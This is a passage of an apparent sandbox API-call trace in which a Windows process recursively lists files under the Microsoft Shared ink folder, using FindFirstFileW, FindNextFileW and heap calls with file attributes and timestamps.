dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.809] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.809] GetProcessHeap () returned 0x470000 [0078.809] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.809] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0078.809] GetProcessHeap () returned 0x470000 [0078.809] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.810] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.810] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.810] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.810] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.810] GetProcessHeap () returned 0x470000 [0078.810] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.810] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0078.810] GetProcessHeap () returned 0x470000 [0078.811] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.811] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.811] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.811] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.811] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.811] GetProcessHeap () returned 0x470000 [0078.811] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.811] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0078.812] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0078.812] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0078.812] GetProcessHeap () returned 0x470000 [0078.812] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.812] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.812] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.813] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.813] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.813] GetProcessHeap () returned 0x470000 [0078.813] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.813] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0078.813] GetProcessHeap () returned 0x470000 [0078.813] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.815] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0078.815] GetProcessHeap () returned 0x470000 [0078.815] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0078.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.157] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.159] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0079.159] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0079.159] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.160] GetProcessHeap () returned 0x470000 [0079.160] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.160] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0079.160] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0079.160] GetProcessHeap () returned 0x470000 [0079.160] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.160] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.160] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0079.160] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0079.160] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0079.161] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0079.161] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.161] GetProcessHeap () returned 0x470000 [0079.161] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.161] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0079.161] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0079.161] GetProcessHeap () returned 0x470000 [0079.161] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.167] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.167] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0079.167] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0079.167] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0079.168] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, 